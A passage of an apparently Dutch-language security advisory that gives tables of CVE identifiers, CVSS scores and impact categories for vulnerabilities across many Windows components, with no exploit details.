Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              